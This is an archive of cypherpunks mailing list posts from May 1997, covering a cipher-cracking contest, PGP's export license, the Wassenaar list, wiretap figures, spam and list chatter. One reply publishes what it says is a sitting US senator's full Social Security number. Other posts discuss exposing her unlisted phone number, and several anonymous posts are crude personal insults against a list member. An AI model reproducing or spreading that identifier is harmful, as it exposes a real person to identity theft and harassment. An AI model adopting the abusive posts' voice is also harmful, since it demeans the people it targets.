decrypting it but just gave up. (Contest details will be posted every now and
then to cypherpunks at toad.com and other crypto-related mailing lists.) I
realize that many of you out there live to take snake-oil crypto off the face
of the planet. Not that it is snake-oil, but take a shot at hacking VSA2048.
(Use your Crays, Delta, UNIXs, sync-ed Pentiums, mainframes, whatever. We
don't care.)

Regards,

DataET Research






From DataETRsch at aol.com  Wed May 28 15:12:21 1997
From: DataETRsch at aol.com (DataETRsch at aol.com)
Date: Thu, 29 May 1997 06:12:21 +0800
Subject: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970528174211_-1229814197@emout08.mail.aol.com>


Hi,

In a message dated 97-05-28 04:39:24 EDT, you write:

<< Actions such as yours inspire trust in the cryptographic software
 that you write, if it passes the review. >>

Thank-you very much. By the way, I realize that increasing the size of the
encrypted file used for the contest is unnecessary and actually makes
decryption easier in most cases. I'll let everyone @ toad.com know that the
original encrypted message was "cut" and "pasted" over and over again to
increase the final message to 50,000 bytes. So, there's is *decrypted* data
repetition. (I know, it's was a stupid thing to do, but I believe in
VSA2048's security, obviously.) However, as you probably have discovered,
none of the *encrypted*  data repeats or show any congruent/linear pattern.
(In fact, there is no pattern whatsoever.)

Also, along with the simple decryption tool, a simple flowchart of VSA2048
will be released that will show that VSA2048 is NOT is as simple as many seem
to think. (No, it's not just a random XOR-er. Take a look at the
VSACMProcessOperation and VSACMInternal functions. If it were simply a random
XOR-er, the data could probably be decrypted in a few days, if even that
long.)

I truly hope that all of the cypherpunks out there are working on cracking
the CRACKIT.DAT file used for the decryption contest or have worked on
decrypting it but just gave up. (Contest details will be posted every now and
then to cypherpunks at toad.com and other crypto-related mailing lists.) I
realize that many of you out there live to take snake-oil crypto off the face
of the planet. Not that it is snake-oil, but take a shot at hacking VSA2048.
(Use your Crays, Delta, UNIXs, sync-ed Pentiums, mainframes, whatever. We
don't care.)

Regards,

Jeremy Yu-Ramos
DataET Research






From azur at netcom.com  Wed May 28 16:39:08 1997
From: azur at netcom.com (Steve Schear)
Date: Thu, 29 May 1997 07:39:08 +0800
Subject: Time Magazine: "No Privacy on the Web" (6/2/97)
In-Reply-To: 
Message-ID: 


>>Then there's the sidebar with our report on how much info we were able to
>>dig up on Sen. Dianne Feinstein (D-CA), who has introduced legislation that
>>would slow the spread of Social Security Numbers. Yes, we found her SSN,
>>unlisted phone number, and home address, but we had to pay for some of it:

This sort of process should work well for compiling the government related
material for the public Distributed Dossier Server�

Those living in SF for some time probably remember Feinstein's running
battle with the operator's of the O'Farrell Theater. a pioneer adult
entertainment establishment.  When mayor Dianne tried to crack down on the
O'Farrell, the owners retailiated by posting her private, unlisted, home
number on their marquis.  Almost as soon as she changed it they were able
to obtain the new number.  As I recall it really got under her skin.

--Steve







From mbm at autobahn.mb.ca  Wed May 28 16:58:34 1997
From: mbm at autobahn.mb.ca (mbm)
Date: Thu, 29 May 1997 07:58:34 +0800
Subject: (no subject)
Message-ID: <338CC107.432D@autobahn.mb.ca>







From RuiGuedes at mail.EUnet.pt  Wed May 28 17:11:01 1997
From: RuiGuedes at mail.EUnet.pt (Rui Guedes)
Date: Thu, 29 May 1997 08:11:01 +0800
Subject: Pleeease help!
Message-ID: <338CC56F.55E3@mail.EUnet.pt>


I am living in Portugal and use a PowerMacintosh.

Is there any way of using the wonderful Mixmaster mail system or any
other safe method?

Thanks in advance,
Rui Guedes






From ghio at temp0088.myriad.ml.org  Wed May 28 17:23:25 1997
From: ghio at temp0088.myriad.ml.org (Matthew Ghio)
Date: Thu, 29 May 1997 08:23:25 +0800
Subject: [noise] AGIS says "no more spam"? (fwd)
In-Reply-To: 
Message-ID: <199705290007.RAA14391@myriad.alias.net>


Rabid Wombat  wrote:
> AGIS, IEMMC Halt Bulk E-Mail
> 
> Dearborn, MI May 27th, 1997: Worldwide Internet access provider AGIS (Apex
> Global Internet Services, Inc.) has challenged all members of the Internet
> E-Mail Marketing Council (IEMMC) to stop originating all bulk e-mail
> through the AGIS network. Under the terms of this agreement, Cyber
> Promotions, Cybertize E-mail, Integrated Media Promotions, ISG, and
> Quantum Communications agreed to cease sending unsolicited commercial
> e-mail (UCE) through the AGIS network until the IEMMC delivers a working
> filtration system and acceptable use policies.


Well, it didn't stop Spamford from finding a new ISP and sending me junk
mail yesterday.

I, for one, wish he would just go back to AGIS, where I can easily block
out 205.199.*.* and ignore all their crap.






From daw at cs.berkeley.edu  Wed May 28 17:30:43 1997
From: daw at cs.berkeley.edu (David Wagner)
Date: Thu, 29 May 1997 08:30:43 +0800
Subject: Time Magazine: "No Privacy on the Web" (6/2/97)
In-Reply-To: 
Message-ID: <5mihc6$2ln@joseph.cs.berkeley.edu>


You should've asked on cypherpunks.  I found Dianne's SSN for free a
few weeks ago.  It's 567-40-7912.  (No charge -- the first one's free.)

Obtained from .

In article ,
Declan McCullagh   wrote:
> 
> >In this week's Time Magazine (p64-65), you'll find a privacy story that
> >Noah and I worked on:
> >
> >http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.no_privacy_o
> >n
> >.html
> >
> >Then there's the sidebar with our report on how much info we were able to
> >dig up on Sen. Dianne Feinstein (D-CA), who has introduced legislation that
> >would slow the spread of Social Security Numbers. Yes, we found her SSN,
> >unlisted phone number, and home address, but we had to pay for some of it:
> >
> >http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.my_wek.html






From ravage at EINSTEIN.ssz.com  Wed May 28 19:26:26 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Thu, 29 May 1997 10:26:26 +0800
Subject: SSZ status
Message-ID: <199705290144.UAA00965@einstein.ssz.com>


Hi,

SSZ seems to be stable since the power was restored where my ISP was
located. There should be no further service interruptions expected.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage at ssz.com






From ichudov at algebra.com  Wed May 28 19:55:03 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 29 May 1997 10:55:03 +0800
Subject: SSZ status
In-Reply-To: <199705290144.UAA00965@einstein.ssz.com>
Message-ID: <199705290239.VAA03053@manifold.algebra.com>


Jim Choate wrote:
> 
> SSZ seems to be stable since the power was restored where my ISP was
> located. There should be no further service interruptions expected.
> 

It is hard to imagine a natural disaster that would ever bring the
cypherpunks network down!

	- Igor.






From alan at ctrl-alt-del.com  Wed May 28 20:09:08 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Thu, 29 May 1997 11:09:08 +0800
Subject: SSZ status
In-Reply-To: <199705290144.UAA00965@einstein.ssz.com>
Message-ID: <3.0.2.32.19970528195709.03d23620@mail.teleport.com>


At 09:39 PM 5/28/97 -0500, Igor Chudov @ home wrote:
>Jim Choate wrote:
>> 
>> SSZ seems to be stable since the power was restored where my ISP was
>> located. There should be no further service interruptions expected.
>> 
>
>It is hard to imagine a natural disaster that would ever bring the
>cypherpunks network down!

Supernova? ]:>


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From shamrock at netcom.com  Wed May 28 20:14:57 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 29 May 1997 11:14:57 +0800
Subject: US grants export license for PGP
Message-ID: 


http://www.news.com/News/Item/0,4,11048,00.html?ticker.ms.ie40


PGP crypto approved for export
By Tim Clark and Alex Lash
May 28, 1997, 7 p.m. PTThe U.S. government has granted an encryption 
export license to one of the biggest thorns in its side.
Pretty Good Privacy says it has won approval to export strong encryption 
technology overseas. The license allows PGP to export technology up to 
128 bits; the government's regular licenses only allow up to 56 bits. To 
date, the government has only approved 128-bit encryption exports for 
technology that protects financial transactions but PGP technology can 
encrypt any kind of digital communication.
PGP was founded by cryptographer Phil Zimmermann. Zimmerman became 
something of a cause celebre when he posted his PGP technology on the Net 
in defiance of laws prohibiting international distribution of encryption 
technology. Zimmermann came close to going to jail before the government 
dropped its case against him.
The company said tonight that it counts more than half of Fortune 100 
companies use its email software.
PGP still has another old foe to worry about. Encryption software giant 
RSA Data Security earlier this month filed a patent infringement lawsuit 
against PGP. The suit alleged that PGP is unlawfully using RSA technology 
licensed to Lemcom before its merger with PGP in 1996. PGP officials say 
RSA's claims are without merit.



-- Lucky Green  PGP encrypted mail preferred






From ichudov at algebra.com  Wed May 28 20:17:54 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 29 May 1997 11:17:54 +0800
Subject: US grants export license for PGP
In-Reply-To: 
Message-ID: <199705290304.WAA03368@manifold.algebra.com>


I have a question.

Does it mean that a person can take a diskette with PGP and PGP keys
with him or her for an overseas trip?

igor

Lucky Green wrote:
> 
> http://www.news.com/News/Item/0,4,11048,00.html?ticker.ms.ie40
> 
> 
> PGP crypto approved for export
> By Tim Clark and Alex Lash
> May 28, 1997, 7 p.m. PTThe U.S. government has granted an encryption 
> export license to one of the biggest thorns in its side.
> Pretty Good Privacy says it has won approval to export strong encryption 
> technology overseas. The license allows PGP to export technology up to 
> 128 bits; the government's regular licenses only allow up to 56 bits. To 
> date, the government has only approved 128-bit encryption exports for 
> technology that protects financial transactions but PGP technology can 
> encrypt any kind of digital communication.
> PGP was founded by cryptographer Phil Zimmermann. Zimmerman became 
> something of a cause celebre when he posted his PGP technology on the Net 
> in defiance of laws prohibiting international distribution of encryption 
> technology. Zimmermann came close to going to jail before the government 
> dropped its case against him.
> The company said tonight that it counts more than half of Fortune 100 
> companies use its email software.
> PGP still has another old foe to worry about. Encryption software giant 
> RSA Data Security earlier this month filed a patent infringement lawsuit 
> against PGP. The suit alleged that PGP is unlawfully using RSA technology 
> licensed to Lemcom before its merger with PGP in 1996. PGP officials say 
> RSA's claims are without merit.
> 
> 
> 
> -- Lucky Green  PGP encrypted mail preferred
> 



	- Igor.






From lucifer at dhp.com  Wed May 28 20:38:26 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 29 May 1997 11:38:26 +0800
Subject: motherboards with multiple CPUs
Message-ID: <199705290318.XAA27475@dhp.com>


I am looking for a place to purchase a motherboard with several cpu
slots and a lot of memory. does any one know where one can find a good deal?






From privsoft at ix.netcom.com  Wed May 28 21:18:24 1997
From: privsoft at ix.netcom.com (Steve)
Date: Thu, 29 May 1997 12:18:24 +0800
Subject: US grants export license for PGP
In-Reply-To: 
Message-ID: <338D010D.379F@ix.netcom.com>


Does this mean PGP now, or soon will, supports GAK/Key Recovery?
Or is their something the article isn't saying?
sorrin
-- 
A picture tells a thousand words.
		Stego


     -----BEGIN GEEK CODE BLOCK-----
     Version: 3.1
     GCS/IT/S d--() s+: a-- C++++(++)$ ULS+++@ P++@ L+(++)$ E- W+(+++)$
     N++$ !o K-? w++(+++)$ !O+>++ !M !V PS+(+++)@ PE(++)@ Y++$ PGP@ t+@
     5++@ X++>$ R+++>$ tv+@ b+@ DI+++>$ D+++@>$ G@ e++@>++++ h r* y+ 
     ------END GEEK CODE BLOCK------






From hayden at krypton.mankato.msus.edu  Wed May 28 21:31:26 1997
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Thu, 29 May 1997 12:31:26 +0800
Subject: Interesting Web Site for Data Protection
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

I happened across this web site today.  I was kind of impressed with its
innovative approach, although I doubt I'd need these services.

http://www.atrieva.com/

Just FYI, in no way an endorsement or anything.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: PGP Signed with PineSign 2.2

iQCVAwUBM4zm+TokqlyVGmCFAQEnxwQAh/GfjR4lGi2rzFiJCj2dgpWtbYbXhf2O
7yAGdWt9d819xhOlLC7Zmcq3QS7WJhJOYuGyPEYZRX5hCR8cgoBo9cul9+tFyvVZ
KfQCUUV/rCVPEYBzLyDYrbPT8/IGbCGogvSqKKVlVKHGM8yscdf5Z/aC+nyEUGd4
WsivjiDVzMg=
=XqwC
-----END PGP SIGNATURE-----
 
Robert A. Hayden              hayden at krypton.mankato.msus.edu   __
         -=-=-=-=-=-                              -=-=-=-=-=-   \/_
         http://krypton.mankato.msus.edu/~hayden/Welcome.html    \/







From jgrasty at gate.net  Wed May 28 21:37:52 1997
From: jgrasty at gate.net (Joey Grasty)
Date: Thu, 29 May 1997 12:37:52 +0800
Subject: US grants export license for PGP
In-Reply-To: 
Message-ID: <3.0.1.32.19970529002341.006ac818@pop.gate.net>


At 08:00 PM 5/28/97 -0700, Lucky Green wrote:
>http://www.news.com/News/Item/0,4,11048,00.html?ticker.ms.ie40
>
>
>PGP crypto approved for export

Alright, what's the catch?  What kind of GAK does PGP have to
stick in to get this approval?  Encyphering minds want to know...

Regards,


--
Joey Grasty
jgrasty at gate.net [home -- encryption, privacy, RKBA and other hopeless causes]
"America is at that awkward stage. It is too late to work within the system, but
too early to shoot the bastards." -- Claire Wolfe
http://www.cyberpass.net/~winsock/
PGP (1536 bit) = 87 42 C9 FC 4F 8C 14 5D  31 A9 90 36 C4 F4 90 D9
PGP (768 bit) = A7 CC 31 E4 7E A3 36 13  93 F4 C9 06 89 51 F5 A7






From shamrock at netcom.com  Wed May 28 21:40:40 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 29 May 1997 12:40:40 +0800
Subject: US grants export license for PGP
In-Reply-To: 
Message-ID: <3.0.2.32.19970528212753.006f6f5c@netcom13.netcom.com>


At 10:04 PM 5/28/97 -0500, Igor Chudov @ home wrote:
>I have a question.
>
>Does it mean that a person can take a diskette with PGP and PGP keys
>with him or her for an overseas trip?

That has been legal for some time now. You are supposed to file a report,
though.


--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm






From ichudov at algebra.com  Wed May 28 21:43:17 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 29 May 1997 12:43:17 +0800
Subject: US grants export license for PGP
In-Reply-To: <3.0.2.32.19970528212753.006f6f5c@netcom13.netcom.com>
Message-ID: <199705290429.XAA04042@manifold.algebra.com>


Lucky Green wrote:
> 
> At 10:04 PM 5/28/97 -0500, Igor Chudov @ home wrote:
> >I have a question.
> >
> >Does it mean that a person can take a diskette with PGP and PGP keys
> >with him or her for an overseas trip?
> 
> That has been legal for some time now. You are supposed to file a report,
> though.

Interesting. What is that report?

	- Igor.






From real at freenet.edmonton.ab.ca  Wed May 28 22:33:50 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 29 May 1997 13:33:50 +0800
Subject: PRNG
In-Reply-To: <199705280536.WAA28197@fat.doobie.com>
Message-ID: 


On Tue, 27 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C[unt] Mayonnaise carries a turd in his wallet for identification 
> purposes.
> 
>       /_/\/\
>       \_\  / Tim C[unt] Mayonnaise
>       /_/  \
>       \_\/\ \
>          \_\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From glendale at clear.net.nz  Thu May 29 02:12:59 1997
From: glendale at clear.net.nz (glendale at clear.net.nz)
Date: Thu, 29 May 1997 17:12:59 +0800
Subject: No Subject
Message-ID: 



__________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
glendale at clear.net.nz           |"`-/"|_.-'"``-._
	                         o o `; -._    )-;-,_`)
                                = v_,=  _  )`-.\  ``-'
Lamb Laidir an uachdar         _.- _..-_/ / ((.'
                          O  ((,.-'   ((,/


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQEdAzOKldMAAAEIAO64pUwrhsn5ggVG3Y+kORuGoOVFgBOKJB8dP0FRIc31cQIV
JHzHh1fYMnkSPPrjofLwMZgJeMiEBeZrtR5tz4Z43vQgmprF67Tq0SL5ecBnHtf7
3xaTl4hTy1CZEAFyrGOnSn3NYdopc+gm55UXgMwlTDckKJCthwLkxlOgc4p1Ry1d
rgLBHPSCz+SXxwfwxiHcxscjRvECmhPrw7eqq9RhwEk/PIQk/8RVBYEM3E/t8vG2
ObpgDWTvJRBqZjEtpAHjCPBbEY+thbwynSVtN252Zp9Fiy4/DFkc3/NXTa81nrwY
6FoqAjIdUuqfIl65p/NvM8tSoCCt65/dX0UlWOkAhAgAAAAAAAAAAAAAAAAAAAAF
tCREYWxlIE8nQnJpZW4gPGdsZW5kYWxlQGNsZWFyLm5ldC5uej4=
=uqqS
-----END PGP PUBLIC KEY BLOCK-----







From nobody at huge.cajones.com  Thu May 29 02:19:40 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 17:19:40 +0800
Subject: OECD attacks one of the Four Horsemen
Message-ID: <199705290857.BAA22086@fat.doobie.com>


TruthMonger wrote:

>There will be a "War on Porn" on the internet that will mirror the
>"War on Drugs" currently taking place. 

In financial, as well as freedoms, cost.

>All that the government wants is their piece of the action. Like
>drugs, the porn will always be available, but the price will 
>fluctuate according to the level of government control and/or
>illegality.

Yup. Like drugs, "intelligence" agencies will also get 
intimately involved, and then deny it, in a romantic tradition
dating back before language.

>The "War on Porn" will turn into another essential national industry
>which will become part of the GNP.

A negative part. Tax-spend. Spend-tax.

>The "winners" in this war will be the journalists who have covered
>the "War on Drugs" as they will merely have to dust off old stories
>and substitute "Porn" for "Drugs" wherever it occurs.

The real winners will also be in a strange quarter. The Playboys
and Penthouses of this world are concerned about profit, not
morality, but they will be perfectly willing to surreptitiously line
up with the Christian Coalition on this one. Strange bedfellows.

>The "loser" will be the Hoover Vacume Cleaner Company, whose development
>of Virtual Cathouse technology will fall victim to new legislation.

Old Woody Allen movies, anyone?
om














From PROKILL at axp.cmpu.net  Thu May 29 18:59:15 1997
From: PROKILL at axp.cmpu.net (PROKILL at axp.cmpu.net)
Date: Thu, 29 May 1997 18:59:15 -0700 (PDT)
Subject: MIDI files galore and much, much more!!
Message-ID: <199702170025.GAA08056@prokill.com>


You'll just love it. Click on it now, don't wait, bookmark it and keep checking it 
out for great deals to come. 

"http://www.angelfire.com/ky/PROKILL/index.html"

Please forgive me for this e-mail, but I felt I just had to let more
people know about this great web page.

This page has many wonderful and exciting things on it.
More will be added daily! Bookmark it!

Roach Exterminator 

Kills Waterbugs, Silverfish, and Ants. Where they travel and in
their nests. Is an oderless white powder. This formula was proven to 
be 100% effective against Cockroaches and Waterbugs by the University 
of California over 30 years ago. Supplied in 4 oz. containers, enough 
to treat several average houses. The sprays all really useless when 
compared to this product. The ULTIMATE goal is to eliminate roaches
completely, but sprays just don't kill the cockroaches' eggs.

Follow use and safety instructions supplied with products.

Total cost is only $2.05 plus $2.95 for shipping and handling. For each
order, send $5.00 to: 
                   PRO-KILL 
                   79 Rose Marie Drive 
                   Elizabethtown, KY 42701

Online Ordering is available at:
"http://www.angelfire.com/ky/PROKILL/index.html"

GURANTEED to work!! Guranteed to love the webpage!
The new web page at "http://www.prokill.com/" will be great. It is not working yet.
We are making a deal to also have CD-ROMs (not XXX) for sale. 


Send us email at: "mailto:roachkill at prokill.com"

The web page has some net MIDIs.

To get off this list send email to remove at prokill.com. 
Thankyou, very much for your time and may GOD bless you.






From nobody at REPLAY.COM  Thu May 29 04:48:25 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 29 May 1997 19:48:25 +0800
Subject: [CRYPTO] Zero-knowledge commit
Message-ID: <199705291123.NAA10881@basement.replay.com>


Timmy `C' May proves that the Midwestern gene pool needs some chlorine in it.

            <<<<
           o(0-0)o
        -ooO-(_) Ooo-- Timmy `C' May






From se7en at dis.org  Thu May 29 05:24:21 1997
From: se7en at dis.org (se7en)
Date: Thu, 29 May 1997 20:24:21 +0800
Subject: Los Angeles Police Department Web Site Hacked
Message-ID: 



It was hacked late last night at http://www.lapd.org

I have it mirrored at http://www.dis.org/se7en


se7en






From nobody at secret.squirrel.owl.de  Thu May 29 06:15:34 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Thu, 29 May 1997 21:15:34 +0800
Subject: pathology
Message-ID: <19970529125158.8021.qmail@squirrel.owl.de>



This was taken from the Alameda County District Attorney's Office
publication "The Point of View":

In a murder trial, the defense attorney was cross examining a pathologist.
Here's what happened:

ATTORNEY:  Before you signed the death certificate, had you taken the pulse?
CORONER:   No.
ATTORNEY:  Did you listen to the heart?
CORONER:   No.
ATTORNEY:  Did you check for breathing?
CORONER:   No.
ATTORNEY:  So, when you signed the death certificate, you weren't sure the
           man was dead, were you?
CORONER:   Well, let me put it this way.  The man's brain was sitting in a
           jar on my desk.  But I guess it's possible he could be out there
           practicing law somewhere.






From jeffb at issl.atl.hp.com  Thu May 29 06:20:41 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Thu, 29 May 1997 21:20:41 +0800
Subject: US grants export license for PGP
In-Reply-To: <3.0.1.32.19970529002341.006ac818@pop.gate.net>
Message-ID: <199705291231.IAA17013@jafar.issl.atl.hp.com>


Joey Grasty writes:
> At 08:00 PM 5/28/97 -0700, Lucky Green wrote:

> >PGP crypto approved for export
> 
> Alright, what's the catch?  What kind of GAK does PGP have to
> stick in to get this approval?  Encyphering minds want to know...

The catch is that the license only extends to business use by
subsidiaries of certain large US corporations.

See PGPInc's press release at: http://www.pgp.com/newsroom/prel34.cgi

It may be moot since some versions of PGP are available around the
world, but this strikes me as patently unfair to all those companies
not big enough to be on The List.

On the other hand, maybe this is the beginning of the end.  It seems
to me that it will be difficult now to deny a similar license to 
Netscape or Microsoft or...


-- Jeff (currently employed by a Real Company :-)






From jya at pipeline.com  Thu May 29 06:47:19 1997
From: jya at pipeline.com (John Young)
Date: Thu, 29 May 1997 21:47:19 +0800
Subject: The Wassenaar Arrangment
Message-ID: <1.5.4.32.19970529131919.006e87d0@pop.pipeline.com>


Thanks to Greg Broiles's FOIA effort and Lucky Green, 
we offer the first US public release of:

   The Wassenaar Arrangement - 
   List of Dual Use-Goods and Technologies 
   and Munitions List, July 1996

   http://jya.com/wa/watoc.htm

This is the 200-page document Greg previously
announced here which lists in minute detail the
wide range of goods and technologies to be restricted 
by arms and trade export controls.

The Wassenaar Arrangement succeeds COCOM as
the arms control regime signed by 33 nations.

Cryptography is covered in Category 5 - Part 2:

   http://jya.com/wa/wacat52.htm

Which may be compared to the Australian version:

   http://jya.com/aucat_5.htm







From jack_flap at hotmail.com  Thu May 29 07:21:45 1997
From: jack_flap at hotmail.com (Jack Flap)
Date: Thu, 29 May 1997 22:21:45 +0800
Subject: 1996 Wiretap Report
Message-ID: <199705291406.HAA02256@f19.hotmail.com>


Eric Blossom  may have written:
> (2) In the past 11 years (1986 - 1996) a total of 9,912 intercept
>     applications were approved.  Of that number 5 (five!) were for
>     "Arson, explosives, and weapons."  Unless they've classified wiretaps
>     against "suspected terrorists" in the "Other" category, it looks
>     as if the LEOs don't think (targeted) wiretaps are useful for stopping
>     small groups of modestly skilled people bent on blowing things up. No 
Shit.

Hmmm. :-)

I guess the spook angle is to ensure that those are well
targetted wiretaps - targetting based on intelligence,
which is probably not the same as legal intercept...

Jack.



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From paul at fatmans.demon.co.uk  Thu May 29 08:38:00 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 29 May 1997 23:38:00 +0800
Subject: motherboards with multiple CPUs
In-Reply-To: <199705290318.XAA27475@dhp.com>
Message-ID: 



> I am looking for a place to purchase a motherboard with several cpu
> slots and a lot of memory. does any one know where one can find a good deal?

Go to www.intel.com and search for "1800 node paragon", I`m sure they can 
do you a good deal ;-)..........

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Thu May 29 08:50:28 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 29 May 1997 23:50:28 +0800
Subject: US grants export license for PGP
In-Reply-To: <199705290304.WAA03368@manifold.algebra.com>
Message-ID: 




> > PGP crypto approved for export
> > By Tim Clark and Alex Lash
> > May 28, 1997, 7 p.m. PTThe U.S. government has granted an encryption 
> > export license to one of the biggest thorns in its side.
> > Pretty Good Privacy says it has won approval to export strong encryption 
> > technology overseas. The license allows PGP to export technology up to 
> > 128 bits; the government's regular licenses only allow up to 56 bits. To 
> > date, the government has only approved 128-bit encryption exports for 
> > technology that protects financial transactions but PGP technology can 
> > encrypt any kind of digital communication.

Does this agreement have a GAK clause???

Even if it does not, with the new structure of PGP they are not going to 
be releasing source code for future products so it is likely they are 
hoping the average paeon who won`t reverse engineer the executable won`t 
realise they have zeroed 72 bits of the key , or are using a reduced 
round variant of some strong cipher, to give the impression of strength.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From dlv at bwalk.dm.com  Thu May 29 08:50:42 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 29 May 1997 23:50:42 +0800
Subject: motherboards with multiple CPUs
In-Reply-To: <199705290318.XAA27475@dhp.com>
Message-ID: <2DTg8D38w165w@bwalk.dm.com>


lucifer at dhp.com (lucifer Anonymous Remailer) writes:

> I am looking for a place to purchase a motherboard with several cpu
> slots and a lot of memory. does any one know where one can find a good deal?

Please refrain from posting such off-topic messages to this mailing list.

PerryMonger
:-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From TruthMonger.tm at dev.null  Thu May 29 09:46:14 1997
From: TruthMonger.tm at dev.null (TruthMonger.tm at dev.null)
Date: Fri, 30 May 1997 00:46:14 +0800
Subject: There's something wrong when I'm a felon under an increasing number of
Message-ID: <199705291623.KAA00762@wombat.sk.sympatico.ca>


Tim May wrote:

 

There's something wrong when I'm a felon under an increasing number of

laws.

Only one response to the key grabbers is warranted: "Death to Tyrants!"

---------:---------:---------:---------:---------:---------:---------:----

Timothy C. May              | Crypto Anarchy: encryption, digital money,

tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms,

zero

W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information

markets,

Higher Power: 2^1398269     | black markets, collapse of governments.

"National borders aren't even speed bumps on the information

superhighway."



  Tim's new sig-line gives recognition to one of what I consider to be

the two main reasons that Democracy and Justice can now be considered

a part of America's historical past.



  A major nail in the coffin of Justice for any accused in the U.S.

was when the justice system promoted the concept of guilt by virtue

of "circumstantial" evidence to the point where people can now be

convicted as a result of speculation rather than evidence. Prosecutors

now seem to need only to convince the sheeple that it was "possible"

for the defendant to have commited the crime and that circumstantial

evidence points *only* to the accused.

  As well, the justice system only allows the government prosecutors

to indulge in "speculation" and denies the defense the opportunity

to do the same. The McVeigh prosecutors are allowed to put on a key

witness who has openly stated that he's going to get rich by telling

fables, yet the defense's witnesses are barred from testifying

because the judge declares their testimony to be unreliable and

the defense's planned defence to be based on speculation.



  Now that this nail has been driven home, the only thing standing 

between the average citizen and random or targeted unjust imprisonment 

is a cause of action for the government to proceed on. Tim C. May's

sig-line eloquently points out that the black-robed magicians of the

justice system now have enough cards strategically put in place to

be able to pull an Ace of Subpoena's seemingly out of thin air.

  If a perfectly normal, average grandmother/citizen can be threatened

with imprisonment for putting money in someone else's parking meter

then, pray tell, which action of the average citizen *cannot* be used

to imprison him or her?

  The Pandora's box of laws, regulations and "perceived possibilty of

illegality" (probable cause) leaves each of us open to random or

targeted search, seizure, arrest and imprisonment not only for laws

and crimes which actually exist, but also for those which can be

deduced by "speculation" as to the "possibility" of our having had

an "intent" to do something illegal.

  (Twenty years ago I called my lawyer at four a.m. and he asked me

what charge the police were using to hold me. I told him, "I think

the charge is 'Suspicion of being in jail.'" He laughed and said,

"They may *have* you on this one, Bubba." Back then it was a joke,

but I fear that today it reflects reality.)



  A grandmother in the midwest U.S. plugs someone else's parking meter

and faces prosecution and interrogation. She mentions she was on her

way to pick up paint for a shed being built in her back yard. It turns

out she has no permit to build a shed on her property. The zoning

official who inspects her house for further malefeasance sees a gun

(hunting rifle) in a closet and a line of a white, powdery substance

(roach poison) on a kitchen counter. Police search the house and seize

the computer as evidence. The woman's son has his cypherpunks list

messages on the computer, including Jim Bell's AP/IRS posts.

  What was the woman doing in plugging someone else's parking meter?

She was attempting to prevent the government from collecting money

from a citizen by way of a fine for not paying his/her parking tax.

Her proven "link" to Jim Bell, terrorist and tax protestor, can be

seen as evidence of a "conspiracy." (The question now becomes one

of whether she will testify against Bell in return for a reduction in

her charges, or whether he will do so against her.)



  If you consider the above to be in the least far-fetched then you

have little understanding of the working of our present-day justice

system. If you consider the above to be an unlikely scenario even if

